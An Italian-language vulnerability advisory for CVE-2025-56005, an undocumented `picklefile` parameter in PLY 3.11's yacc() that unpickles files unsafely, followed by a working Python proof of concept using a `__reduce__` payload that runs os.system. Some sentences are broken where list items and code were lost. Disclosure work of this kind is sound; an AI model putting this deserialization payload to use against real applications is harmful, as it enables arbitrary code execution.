
RCE non documentata in PLY tramite il parametro `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Una funzionalità non documentata e non sicura nella versione distribuita su PyPI di PLY 3.11 consente l'esecuzione di codice arbitrario quando la funzione yacc() viene invocata con il parametro picklefile.
Il parametro picklefile induce PLY a deserializzare un file .pkl utilizzando pickle.load() di Python senza alcuna validazione. Poiché il modulo di Python supporta l'esecuzione di codice arbitrario durante la deserializzazione (ad esempio, tramite ), un attaccante che riesce a controllare il file pickle fornito può eseguire codice arbitrario durante l'inizializzazione del parser.
pickle__reduce__()Questo parametro non è documentato nella documentazione ufficiale di PLY né nel repository GitHub, ma è attivo nella release su PyPI.
Se un attaccante può controllare, sostituire o influenzare il file .pkl passato a yacc(picklefile=...), può ottenere:
Ciò può interessare le applicazioni che caricano le tabelle del parser da:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() in ply/yacc.pyQuesta vulnerabilità presenta un rischio elevato a causa della sua natura stealth e del potenziale di persistenza.
Il parametro picklefile è non documentato nella documentazione ufficiale di PLY e nel repository GitHub. Tuttavia, la versione di PLY 3.11 distribuita su PyPI include questa funzionalità e processa il file fornito utilizzando pickle.load() senza validazione.
Poiché il modulo pickle di Python consente l'esecuzione di codice incorporato durante la deserializzazione, un file pickle malevolo può eseguire codice arbitrario durante la configurazione del parser, prima che qualsiasi logica di parsing venga invocata.
Al momento della stesura, il manutentore non ha riconosciuto pubblicamente questo comportamento.
Questa funzionalità può essere sfruttata per introdurre backdoor persistenti, in particolare in ambienti in cui i file delle tabelle del parser sono:
Data la mancanza di documentazione, il percorso di esecuzione silenzioso e l'elevato impatto della deserializzazione non sicura, è giustificata l'assegnazione di un CVE per aumentare la consapevolezza e proteggere gli utenti a valle.
Questo proof of concept dimostra l'esecuzione di codice arbitrario quando un file pickle malevolo viene fornito tramite il parametro non documentato picklefile.
Il PoC:
Quando viene invocato yacc(picklefile='exploit.pkl'), il codice arbitrario viene eseguito durante l'inizializzazione del parser.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile con file non attendibili o scrivibili dall'esterno